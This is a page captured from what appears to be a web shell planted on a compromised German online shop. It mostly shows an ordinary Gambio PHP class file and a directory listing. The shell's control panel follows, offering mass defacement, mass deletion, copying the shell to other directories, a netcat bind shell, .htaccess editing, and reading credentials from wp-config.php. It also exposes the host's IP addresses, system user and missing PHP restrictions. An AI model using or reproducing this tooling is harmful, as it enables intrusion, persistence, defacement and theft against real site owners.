WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / gm / classes / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes/GMGMotion.php (24.31 KB)
<?php
/* --------------------------------------------------------------
   GMGMotion.php 2011-05-16 mb
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2011 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/
?><?php

require_once(DIR_FS_INC . 'xtc_get_products_image.inc.php');
require_once(DIR_FS_INC . 'xtc_get_products_mo_images.inc.php');

class GMGMotion
{

	function GMGMotion()
	{
		//
	}

	function load($p_products_id)
	{
		$c_products_id = (int)$p_products_id;
		$t_products_data_array = array();
		
		$t_get_data = xtc_db_query("SELECT
										image_nr,
										position_from,
										position_to,
										zoom_from,
										zoom_to,
										duration,
										sort_order
									FROM " . GM_TABLE_GM_GMOTION . "
									WHERE products_id = '" . $c_products_id . "'
									ORDER BY sort_order");
		while($t_data_array = xtc_db_fetch_array($t_get_data))
		{
			$t_products_data_array[$t_data_array['image_nr']] = array(
																		'IMAGE' => $this->get_image($c_products_id, $t_data_array['image_nr']),
																		'POSITION_FROM' => $t_data_array['position_from'],
																		'POSITION_TO' => $t_data_array['position_to'],
																		'ZOOM_FROM' => (double)$t_data_array['zoom_from'],
																		'ZOOM_TO' => (double)$t_data_array['zoom_to'],
																		'DURATION' => $t_data_array['duration'],
																		'SORT_ORDER' => $t_data_array['sort_order']
																	);
		}
		
		return $t_products_data_array;
	}
	
	
	function get_zoom_array($p_start, $p_end, $p_interval)
	{
		$c_start = (double)$p_start;
		$c_end = (double)$p_end;
		$c_interval = (double)$p_interval;
		
		$t_zoom_array = array();

		for($i = $c_start; $i <= $c_end; $i += $c_interval)
		{
			$i = round($i, 1);
			$t_zoom_array[] = array('id' => $i,
									'text' => number_format($i, 1, ',', '') . 'x');
		}
		
		return $t_zoom_array;
	}	
	
	
	function get_position_array()
	{
		$t_position_array = array();
		
		$t_position_array[] = array('id' => '0% 0%',
									'text' => GM_GMOTION_POSITION_TOP_LEFT);
		$t_position_array[] = array('id' => '50% 0%',
									'text' => GM_GMOTION_POSITION_TOP);
		$t_position_array[] = array('id' => '100% 0%',
									'text' => GM_GMOTION_POSITION_TOP_RIGHT);
		$t_position_array[] = array('id' => '100% 50%',
									'text' => GM_GMOTION_POSITION_RIGHT);
		$t_position_array[] = array('id' => '100% 100%',
									'text' => GM_GMOTION_POSITION_BOTTOM_RIGHT);
		$t_position_array[] = array('id' => '50% 100%',
									'text' => GM_GMOTION_POSITION_BOTTOM);
		$t_position_array[] = array('id' => '0% 100%',
									'text' => GM_GMOTION_POSITION_BOTTOM_LEFT);
		$t_position_array[] = array('id' => '0% 50%',
									'text' => GM_GMOTION_POSITION_LEFT);
		$t_position_array[] = array('id' => '50% 50%',
									'text' => GM_GMOTION_POSITION_CENTER);
		
		return $t_position_array;
	}
	
	
	function get_image($p_products_id, $p_image_nr)
	{
		$c_products_id = (int)$p_products_id;
		$c_image_nr = (int)$p_image_nr;
		
		$t_image_with_path = '';
		
		if($c_image_nr == 0)
		{
			$t_get_image = xtc_db_query("SELECT products_image 
											FROM " . TABLE_PRODUCTS . "
											WHERE 
												products_id = '" . $c_products_id . "'
												AND products_image IS NOT NULL
												AND products_image != ''");
			if(xtc_db_num_rows($t_get_image) == 1)
			{
				$t_image = xtc_db_fetch_array($t_get_image);
				$t_image_with_path = DIR_WS_IMAGES . 'product_images/gm_gmotion_images/' . basename($t_image['products_image']);
			}
		}
		else
		{
			$t_get_image = xtc_db_query("SELECT image_name 
											FROM " . TABLE_PRODUCTS_IMAGES . "
											WHERE 
												products_id = '" . $c_products_id . "'
												AND image_nr = '" . $c_image_nr . "'
												AND image_name IS NOT NULL
												AND image_name != ''");
			if(xtc_db_num_rows($t_get_image) == 1)
			{
				$t_image = xtc_db_fetch_array($t_get_image);
				$t_image_with_path = DIR_WS_IMAGES . 'product_images/gm_gmotion_images/' . basename($t_image['image_name']);
			}
		}
		
		return $t_image_with_path;
	}
	
	
	function get_form_data($p_image_nr = 0)
	{
		$c_image_nr = (int)$p_image_nr;
		
		$t_data_array = array();
		
		$t_gmotion_product_image = true;
		$t_gmotion_image = '';
		$t_products_image = '';
		
		if(isset($_GET['pID']) && (int)$_GET['pID'] > 0)
		{
			$t_data_array = $this->load($_GET['pID']);
			
			if($c_image_nr == 0)
			{
				$t_get_show_image = xtc_db_query("SELECT 
														products_image,	
														gm_show_image 
													FROM " . TABLE_PRODUCTS . " 
													WHERE products_id = '" . (int)$_GET['pID'] . "'");
				if(xtc_db_num_rows($t_get_show_image) == 1)
				{
					$t_show_image = xtc_db_fetch_array($t_get_show_image);
					if(empty($t_show_image['gm_show_image']))
					{
						$t_gmotion_product_image = false;
					}
					$t_products_image = $t_show_image['products_image'];
				}
			}
			else
			{
				$t_get_show_image = xtc_db_query("SELECT 
														image_name,
														gm_show_image 
													FROM " . TABLE_PRODUCTS_IMAGES . " 
													WHERE 
														products_id = '" . (int)$_GET['pID'] . "'
														AND image_nr = '" . $c_image_nr . "'");
				if(xtc_db_num_rows($t_get_show_image) == 1)
				{
					$t_show_image = xtc_db_fetch_array($t_get_show_image);
					if(empty($t_show_image['gm_show_image']))
					{
						$t_gmotion_product_image = false;						
					}
					$t_products_image = $t_show_image['image_name'];
				}
			}
			
			if(isset($t_data_array[$p_image_nr]))
			{
				$t_gmotion_image = ' checked="checked"';
				
				$t_position_from = $t_data_array[$p_image_nr]['POSITION_FROM'];
				$t_position_to = $t_data_array[$p_image_nr]['POSITION_TO'];
				$t_zoom_from = $t_data_array[$p_image_nr]['ZOOM_FROM'];
				$t_zoom_to = $t_data_array[$p_image_nr]['ZOOM_TO'];
				$t_duration = $t_data_array[$p_image_nr]['DURATION'];
				$t_sort_order = $t_data_array[$p_image_nr]['SORT_ORDER'];
			}
			else
			{
				$t_gmotion_image = '';
				
				$t_position_from = gm_get_conf('GM_GMOTION_STANDARD_POSITION_FROM');
				$t_position_to = gm_get_conf('GM_GMOTION_STANDARD_POSITION_TO');
				$t_zoom_from = gm_get_conf('GM_GMOTION_STANDARD_ZOOM_FROM');
				$t_zoom_to = gm_get_conf('GM_GMOTION_STANDARD_ZOOM_TO');
				$t_duration = gm_get_conf('GM_GMOTION_STANDARD_DURATION');
				$t_sort_order = $p_image_nr+1;
			}			
		}		
		else
		{
			$t_position_from = gm_get_conf('GM_GMOTION_STANDARD_POSITION_FROM');
			$t_position_to = gm_get_conf('GM_GMOTION_STANDARD_POSITION_TO');
			$t_zoom_from = gm_get_conf('GM_GMOTION_STANDARD_ZOOM_FROM');
			$t_zoom_to = gm_get_conf('GM_GMOTION_STANDARD_ZOOM_TO');
			$t_duration = gm_get_conf('GM_GMOTION_STANDARD_DURATION');
			$t_sort_order = $p_image_nr+1;
		}
		
		if(!empty($t_products_image))
		{
			$t_image_size = getimagesize(DIR_FS_CATALOG_POPUP_IMAGES . $t_products_image);
			
			if($t_image_size[0] > $t_image_size[1])
			{
				$t_new_image_width = 200;
				$t_new_image_height = 200 / ($t_image_size[0] / $t_image_size[1]);
				$t_image_new_size = 'width="200"';
			}
			else
			{
				$t_new_image_width = 200 / ($t_image_size[1] / $t_image_size[0]);
				$t_new_image_height = 200;
				$t_image_new_size = 'height="200"';
			}
		
			$t_position_from_array = explode(' ', $t_position_from);
			$t_position_from_array[0] = ((int)str_replace('%', '', $t_position_from_array[0]) / 100) * $t_new_image_width;
			$t_position_from_array[1] = ((int)str_replace('%', '', $t_position_from_array[1]) / 100) * $t_new_image_height;
			
			$t_position_to_array = explode(' ', $t_position_to);
			$t_position_to_array[0] = ((int)str_replace('%', '', $t_position_to_array[0]) / 100) * $t_new_image_width;
			$t_position_to_array[1] = ((int)str_replace('%', '', $t_position_to_array[1]) / 100) * $t_new_image_height;
			
			$t_new_image_width = (int)$t_new_image_width + 17;
			$t_new_image_height = (int)$t_new_image_height + 17; 
		}
		
		$t_gmotion_style = '';
		if($t_gmotion_image == '')
		{
			$t_gmotion_style = ' style="display: none;"';
		}
		
		$t_icon_start = 'images/gm_icons/gm_gmotion_start.png';
		$t_icon_end = 'images/gm_icons/gm_gmotion_end.png';
		
		if(preg_match("/MSIE 6.+Win./", $_SERVER['HTTP_USER_AGENT']))
		{
			$t_icon_start = 'images/gm_icons/gm_gmotion_start.gif';
			$t_icon_end = 'images/gm_icons/gm_gmotion_end.gif';
		}
		
		$t_form_data_array = array('PRODUCT_IMAGE' => $t_gmotion_product_image,
									'IMAGE' => $t_gmotion_image,
									'POSITION_FROM' => $t_position_from,
									'POSITION_TO' => $t_position_to,
									'IMAGE_WIDTH' => $t_new_image_width,
									'IMAGE_HEIGHT' => $t_new_image_height,
									'IMAGE_NAME' => $t_products_image,
									'NEW_SIZE' => $t_image_new_size,
									'POSITION_FROM_ARRAY' => $t_position_from_array,
									'POSITION_TO_ARRAY' => $t_position_to_array,
									'ZOOM_FROM' => $t_zoom_from,
									'ZOOM_TO' => $t_zoom_to,
									'DURATION' => $t_duration,
									'SORT_ORDER' => $t_sort_order,
									'STYLE' => $t_gmotion_style,
									'ICON_START' => $t_icon_start,
									'ICON_END' => $t_icon_end);
		
		return $t_form_data_array;
	}
	
		
	function save()
	{
		if(isset($_POST) && isset($_GET))
		{
			$f_post_array = $_POST;
			$f_get_array = $_GET;
			$c_products_id = (int)$_GET['pID'];

			
			if($c_products_id == 0)
			{
				$t_get_products_id = xtc_db_query("SELECT products_id 
													FROM " . TABLE_PRODUCTS . " 
													ORDER BY products_id DESC
													LIMIT 1");
				if(xtc_db_num_rows($t_get_products_id) == 1)
				{
					$t_products_id = xtc_db_fetch_array($t_get_products_id);
					$c_products_id = (int)$t_products_id['products_id'];
				}
				else
				{
					return;
				}
			}

			if($f_post_array['gm_gmotion_activate'] == '1')
			{
				$t_check = xtc_db_query("SELECT gm_gmotion_products_id 
											FROM " . GM_TABLE_GM_GMOTION_PRODUCTS . "
											WHERE products_id = '" . $c_products_id . "'");
				if(xtc_db_num_rows($t_check) == 0)
				{
					$t_insert = xtc_db_query("INSERT INTO " . GM_TABLE_GM_GMOTION_PRODUCTS . "
												SET products_id = '" . $c_products_id . "'");
				}			
				
				
				
				for($i = 0; $i <= MO_PICS; $i++)
				{
					// delete
					if(isset($f_get_array['pID']) && (empty($f_post_array['gm_gmotion_image_'.$i]) || (is_array($f_post_array['del_mo_pic']) && in_array($f_post_array['products_previous_image_'.$i], $f_post_array['del_mo_pic']))))
					{
						$t_delete = xtc_db_query("DELETE FROM " . GM_TABLE_GM_GMOTION . "
													WHERE
														products_id = '" . $c_products_id . "'
														AND image_nr = '" . $i . "'");
						
					}
					// insert/update
					else
					{
						$t_check = xtc_db_query("SELECT gm_gmotion_id 
													FROM " . GM_TABLE_GM_GMOTION . "
													WHERE 
														products_id = '" . $c_products_id . "'
														AND image_nr = '" . $i . "'");
						
						if((int)$f_post_array['gm_gmotion_duration_'.$i] > 0)
						{
							$c_gm_gmotion_duration = (int)$f_post_array['gm_gmotion_duration_'.$i];
						}
						else
						{
							$c_gm_gmotion_duration = 1;
						}
						
						if(xtc_db_num_rows($t_check) == 1)
						{
							$t_update = xtc_db_query("UPDATE " . GM_TABLE_GM_GMOTION . "
														SET
															position_from = '" . gm_prepare_string($f_post_array['gm_gmotion_position_from_'.$i]) . "',
															position_to = '" . gm_prepare_string($f_post_array['gm_gmotion_position_to_'.$i]) . "',
															zoom_from = '" . (double)$f_post_array['gm_gmotion_zoom_from_'.$i] . "',
															zoom_to = '" . (double)$f_post_array['gm_gmotion_zoom_to_'.$i] . "',
															duration = '" . $c_gm_gmotion_duration . "',
															sort_order = '" . (int)$f_post_array['gm_gmotion_sort_order_'.$i] . "'
														WHERE
															products_id = '" . $c_products_id . "'
															AND image_nr = '" . $i . "'
															");
						}						
						elseif(!empty($f_post_array['products_previous_image_'.$i]) || (isset($_FILES['mo_pics_'.($i-1)]) && $_FILES['mo_pics_'.($i-1)]['error'] === 0) || ($i == 0 && $_FILES['products_image']['error'] === 0) )
						{
							$t_insert = xtc_db_query("INSERT INTO " . GM_TABLE_GM_GMOTION . "
														SET
															products_id = '" . $c_products_id . "',
															image_nr = '" . $i . "',
															position_from = '" . gm_prepare_string($f_post_array['gm_gmotion_position_from_'.$i]) . "',
															position_to = '" . gm_prepare_string($f_post_array['gm_gmotion_position_to_'.$i]) . "',
															zoom_from = '" . (double)$f_post_array['gm_gmotion_zoom_from_'.$i] . "',
															zoom_to = '" . (double)$f_post_array['gm_gmotion_zoom_to_'.$i] . "',
															duration = '" . $c_gm_gmotion_duration . "',
															sort_order = '" . (int)$f_post_array['gm_gmotion_sort_order_'.$i] . "'
															");
						}
					}

					if($i == 0)
					{
						$c_show_image = (int)$f_post_array['gm_gmotion_product_image_0'];

						$t_update = xtc_db_query("UPDATE " . TABLE_PRODUCTS. "
													SET gm_show_image = '" . $c_show_image . "'
													WHERE products_id = '" . $c_products_id . "'");

						$t_get_image_name = xtc_db_query("SELECT products_image
															FROM " . TABLE_PRODUCTS . "
															WHERE products_id = '" . $c_products_id . "'");
						if(xtc_db_num_rows($t_get_image_name) == 1)
						{
							$t_image_name_array = xtc_db_fetch_array($t_get_image_name);
							$t_image_name = basename($t_image_name_array['products_image']);

							if(!empty($t_image_name) && !file_exists(DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_image_name))
							{
								if(file_exists(DIR_FS_CATALOG_ORIGINAL_IMAGES . $t_image_name))
								{
									@copy(DIR_FS_CATALOG_ORIGINAL_IMAGES . $t_image_name, DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_image_name);
								}
								elseif(file_exists(DIR_FS_CATALOG_POPUP_IMAGES . $t_image_name))
								{
									@copy(DIR_FS_CATALOG_POPUP_IMAGES . $t_image_name, DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_image_name);
								}
							}
						}
					}
					else
					{
						$c_show_image = (int)$f_post_array['gm_gmotion_product_image_'.$i];

						$t_update = xtc_db_query("UPDATE " . TABLE_PRODUCTS_IMAGES. "
													SET gm_show_image = '" . $c_show_image . "'
													WHERE
														products_id = '" . $c_products_id . "'
														AND image_nr = '" . $i . "'");

						$t_get_image_name = xtc_db_query("SELECT image_name
															FROM " . TABLE_PRODUCTS_IMAGES . "
															WHERE
																products_id = '" . $c_products_id . "'
																AND image_nr = '" . $i . "'");
						if(xtc_db_num_rows($t_get_image_name) == 1)
						{
							$t_image_name_array = xtc_db_fetch_array($t_get_image_name);
							$t_image_name = basename($t_image_name_array['image_name']);

							if(!empty($t_image_name) && !file_exists(DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_image_name))
							{
								if(file_exists(DIR_FS_CATALOG_ORIGINAL_IMAGES . $t_image_name))
								{
									@copy(DIR_FS_CATALOG_ORIGINAL_IMAGES . $t_image_name, DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_image_name);
								}
								elseif(file_exists(DIR_FS_CATALOG_POPUP_IMAGES . $t_image_name))
								{
									@copy(DIR_FS_CATALOG_POPUP_IMAGES . $t_image_name, DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_image_name);
								}
							}
						}
					}
				}
			}
			// delete
			else
			{
				$t_delete = xtc_db_query("DELETE FROM " . GM_TABLE_GM_GMOTION . "
											WHERE
												products_id = '" . $c_products_id . "'");
				
				$t_delete = xtc_db_query("DELETE FROM " . GM_TABLE_GM_GMOTION_PRODUCTS . "
											WHERE
												products_id = '" . $c_products_id . "'");
				
				$t_get_image_name = xtc_db_query("SELECT products_image
													FROM " . TABLE_PRODUCTS . "
													WHERE products_id = '" . $c_products_id . "'");
				if(xtc_db_num_rows($t_get_image_name) == 1)
				{
					$t_image_name_array = xtc_db_fetch_array($t_get_image_name);
					$t_image_name = basename($t_image_name_array['products_image']);
					
					if(!empty($t_image_name))
					{
						@unlink(DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_image_name);
					}
				}
				
				$t_get_image_name = xtc_db_query("SELECT image_name
													FROM " . TABLE_PRODUCTS_IMAGES . "
													WHERE 
														products_id = '" . $c_products_id . "'");
				while($t_image_name_array = xtc_db_fetch_array($t_get_image_name))
				{
					$t_image_name = basename($t_image_name_array['image_name']);
					
					if(!empty($t_image_name))
					{
						@unlink(DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_image_name);
					}
				}
			}
		}

		$this->clean_up();
	}
	
	
	function json_crossslide($p_products_id)
	{
		require_once(DIR_FS_CATALOG . 'gm/classes/GMJSON.php');
		$coo_json = new GMJSON(false);
		
		$t_gmotion_data_array = $this->load($p_products_id);
		
		$t_crossslide_array = array();
		$t_crossslide_array['SMALL'] = array();
		
		foreach($t_gmotion_data_array AS $t_key => $t_value)
		{
			$t_crossslide_array['SMALL'][] = array('src' => $t_gmotion_data_array[$t_key]['IMAGE'],
													'from' => $t_gmotion_data_array[$t_key]['POSITION_FROM'] . ' ' . $t_gmotion_data_array[$t_key]['ZOOM_FROM'] . 'x',
													'to' => $t_gmotion_data_array[$t_key]['POSITION_TO'] . ' ' . $t_gmotion_data_array[$t_key]['ZOOM_TO'] . 'x',
													'time' => $t_gmotion_data_array[$t_key]['DURATION']);
		}

		// single image animation: duplicate image, because at least two images are required
		if(!isset($t_crossslide_array['SMALL'][1]))
		{
			$t_crossslide_array['SMALL'][1] = $t_crossslide_array['SMALL'][0];
		}
		
		return $coo_json->encode($t_crossslide_array);
	}
	
	
	function check_status($p_products_id)
	{
		$c_products_id = (int)$p_products_id;
		$t_status = 0;
		
		$t_check = xtc_db_query("SELECT a.gm_gmotion_products_id
									FROM 
										" . GM_TABLE_GM_GMOTION_PRODUCTS . " a,
										" . GM_TABLE_GM_GMOTION . " b
									WHERE 
										a.products_id = '" . $c_products_id . "' AND
										a.products_id = b.products_id");
		if(xtc_db_num_rows($t_check) > 0)
		{
			$t_status = 1;
		}
		
		return $t_status;
	}
	
	function copy($p_source_products_id, $p_target_products_id)
	{
		$c_source_products_id = (int)$p_source_products_id;
		$c_target_products_id = (int)$p_target_products_id;
		
		$t_get_products_data = xtc_db_query("SELECT 
												gm_show_image
											FROM
												" . TABLE_PRODUCTS . "
											WHERE
												products_id = '" . $c_source_products_id . "'");
		if(xtc_db_num_rows($t_get_products_data) == 1)
		{
			$t_products_data_array = xtc_db_fetch_array($t_get_products_data);
			
			$t_update = xtc_db_query("UPDATE " . TABLE_PRODUCTS . "
										SET gm_show_image = '" . (int)$t_products_data_array['gm_show_image'] . "'
										WHERE products_id = '" . $c_target_products_id . "'");
		}
		
		$t_source_products_image = basename(xtc_get_products_image($c_source_products_id));
		if(!empty($t_source_products_image) && file_exists(DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_source_products_image))
		{
			$t_target_products_image = basename(xtc_get_products_image($c_target_products_id));
			
			if(!empty($t_target_products_image))
			{				
				@copy(DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_source_products_image, DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . $t_target_products_image);
			}
		}
		
		$t_get_products_images_data = xtc_db_query("SELECT 
														gm_show_image,
														image_nr
													FROM
														" . TABLE_PRODUCTS_IMAGES . "
													WHERE
														products_id = '" . $c_source_products_id . "'");
		while($t_products_images_data_array = xtc_db_fetch_array($t_get_products_images_data))
		{
			$t_update = xtc_db_query("UPDATE " . TABLE_PRODUCTS_IMAGES . "
										SET gm_show_image = '" . (int)$t_products_images_data_array['gm_show_image'] . "'
										WHERE 
											products_id = '" . $c_target_products_id . "'
											AND image_nr = '" . (int)$t_products_images_data_array['image_nr'] . "'");			
		}
		
		$t_source_products_images = xtc_get_products_mo_images($c_source_products_id, true);
		if(!empty($t_source_products_images))
		{
			foreach($t_source_products_images AS $t_key => $t_value)
			{
				if(!empty($t_value['image_name']) && file_exists(DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . basename($t_value['image_name'])))
				{
					$t_target_products_images = xtc_get_products_mo_images($c_target_products_id, true);
					
					if(!empty($t_target_products_images[$t_key]['image_name']))
					{
						@copy(DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . basename($t_value['image_name']), DIR_FS_CATALOG_IMAGES . 'product_images/gm_gmotion_images/' . basename($t_target_products_images[$t_key]['image_name']));
					}
				}
			}
		}		
		
		$t_source_data_array = $this->load($c_source_products_id);
		$t_target_data_array = $this->load($c_target_products_id);

		if(!empty($t_source_data_array) && empty($t_target_data_array))
		{
			$t_get_gmotion_data = xtc_db_query("SELECT
													image_nr,
													position_from,
													position_to,
													zoom_from,
													zoom_to,
													duration,
													sort_order
												FROM " . GM_TABLE_GM_GMOTION . "
												WHERE products_id = '" . $c_source_products_id . "'");
			while($t_gmotion_data_array = xtc_db_fetch_array($t_get_gmotion_data))
			{
				$t_insert = xtc_db_query("INSERT INTO " . GM_TABLE_GM_GMOTION . "
											SET
												products_id = '" . $c_target_products_id . "',
												image_nr = '" . xtc_db_input($t_gmotion_data_array['image_nr']) . "',
												position_from = '" . xtc_db_input($t_gmotion_data_array['position_from']) . "',
												position_to = '" . xtc_db_input($t_gmotion_data_array['position_to']) . "',
												zoom_from = '" . xtc_db_input($t_gmotion_data_array['zoom_from']) . "',
												zoom_to = '" . xtc_db_input($t_gmotion_data_array['zoom_to']) . "',
												duration = '" . xtc_db_input($t_gmotion_data_array['duration']) . "',
												sort_order = '" . xtc_db_input($t_gmotion_data_array['sort_order']) . "'");
			}
		}

		$t_delete = xtc_db_query("DELETE FROM " . GM_TABLE_GM_GMOTION_PRODUCTS . "
									WHERE products_id = '" . $c_target_products_id . "'");

		$t_get_gmotion_products_data = xtc_db_query("SELECT	products_id
														FROM " . GM_TABLE_GM_GMOTION_PRODUCTS . "
														WHERE products_id = '" . $c_source_products_id . "'");
		if(xtc_db_num_rows($t_get_gmotion_products_data) == 1)
		{
			$t_insert = xtc_db_query("INSERT INTO " . GM_TABLE_GM_GMOTION_PRODUCTS . "
										SET	products_id = '" . $c_target_products_id . "'");
		}

		$this->clean_up();
	}

	function clean_up()
	{
		$t_sql = "SELECT DISTINCT
						gmp.products_id AS a,
						p.products_id AS b
					FROM " . GM_TABLE_GM_GMOTION_PRODUCTS . " gmp
					LEFT JOIN " . TABLE_PRODUCTS ." p ON (gmp.products_id = p.products_id)
					WHERE
						p.products_id IS NULL";
		$t_result = xtc_db_query($t_sql);
		while($t_result_array = xtc_db_fetch_array($t_result))
		{
			$t_delete = xtc_db_query("DELETE FROM " . GM_TABLE_GM_GMOTION_PRODUCTS . "
										WHERE products_id = '" . (int)$t_result_array['a'] . "'");
		}

		$t_sql = "SELECT
						gm.products_id AS a,
						p.products_id AS b
					FROM " . GM_TABLE_GM_GMOTION . " gm
					LEFT JOIN " . TABLE_PRODUCTS ." p ON (gm.products_id = p.products_id)
					WHERE
						p.products_id IS NULL";
		$t_result = xtc_db_query($t_sql);
		while($t_result_array = xtc_db_fetch_array($t_result))
		{
			$t_delete = xtc_db_query("DELETE FROM " . GM_TABLE_GM_GMOTION . "
										WHERE products_id = '" . (int)$t_result_array['a'] . "'");
		}
	}
}
?>
namawaktuukuranownerpermaksi
..
csstidy/ 2013-11-12 21:03125.89 KB 76129f60960:kundendxwrx-rx-r
lib/ 2013-11-12 21:03601.96 KB 76129f60960:kundendxwrx-rx-r
ErrorHandler.php 2013-11-12 21:0310.34 KB 76129f60960:kunden-xw-x-----
edt
FileLog.php 2013-11-12 21:022.93 KB 76129f60960:kunden-xw-x-----
edt
GMAltText.php 2013-11-12 21:032.94 KB 76129f60960:kunden-xw-x-----
edt
GMAttributesCalculator.php 2013-11-12 21:034.65 KB 76129f60960:kunden-xw-x-----
edt
GMCSSMonitor.php 2013-11-12 21:0313.19 KB 76129f60960:kunden-xw-x-----
edt
GMCSSOptimizer.php 2013-11-12 21:0332.87 KB 76129f60960:kunden-xw-x-----
edt
GMCat.php 2013-11-12 21:039.08 KB 76129f60960:kunden-xw-x-----
edt
GMCounter.php 2013-11-12 21:0317.05 KB 76129f60960:kunden-xw-x-----
edt
GMEbay.php 2013-11-12 21:029.16 KB 76129f60960:kunden-xw-x-----
edt
GMGMotion.php 2013-11-12 21:0224.31 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintCartManager.php 2013-11-12 21:0314.66 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintConfiguration.php 2013-11-12 21:032.17 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintContentManager.php 2013-11-12 21:028.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintElements.php 2013-11-12 21:0315.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintFileManager.php 2013-11-12 21:026.06 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderElements.php 2013-11-12 21:037.46 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderManager.php 2013-11-12 21:036.27 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfaces.php 2013-11-12 21:036.41 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfacesManager.php 2013-11-12 21:034.86 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintProductManager.php 2013-11-12 21:024.55 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfaces.php 2013-11-12 21:039.99 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesGroupsManager.php 2013-11-12 21:031.96 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesManager.php 2013-11-12 21:039.62 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintWishlistManager.php 2013-11-12 21:0314.81 KB 76129f60960:kunden-xw-x-----
edt
GMJSON.php 2013-11-12 21:032.44 KB 76129f60960:kunden-xw-x-----
edt
GMJanolaw.php 2013-11-12 21:033.76 KB 76129f60960:kunden-xw-x-----
edt
GMLangFileMaster.php 2013-11-12 21:03965 B 76129f60960:kunden-xw-x-----
edt
GMLightboxControl.php 2013-11-12 21:03691 B 76129f60960:kunden-xw-x-----
edt
GMLogoManager.php 2013-11-12 21:036.78 KB 76129f60960:kunden-xw-x-----
edt
GMMeta.php 2013-11-12 21:028.29 KB 76129f60960:kunden-xw-x-----
edt
GMProduct.php 2013-11-12 21:032.37 KB 76129f60960:kunden-xw-x-----
edt
GMSEOBoost.php 2013-11-12 21:0325.63 KB 76129f60960:kunden-xw-x-----
edt
GMSitemap.php 2013-11-12 21:035.32 KB 76129f60960:kunden-xw-x-----
edt
GMStatusbar.php 2013-11-12 21:022.46 KB 76129f60960:kunden-xw-x-----
edt
GMTSWidget.php 2013-11-12 21:034.93 KB 76129f60960:kunden-xw-x-----
edt
GMTabTokenizer.php 2013-11-12 21:032.81 KB 76129f60960:kunden-xw-x-----
edt
GMTracker.php 2013-11-12 21:033.49 KB 76129f60960:kunden-xw-x-----
edt
JSON.php 2013-11-12 21:0339.98 KB 76129f60960:kunden-xw-x-----
edt
application_top.php 2013-11-12 21:0334.02 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK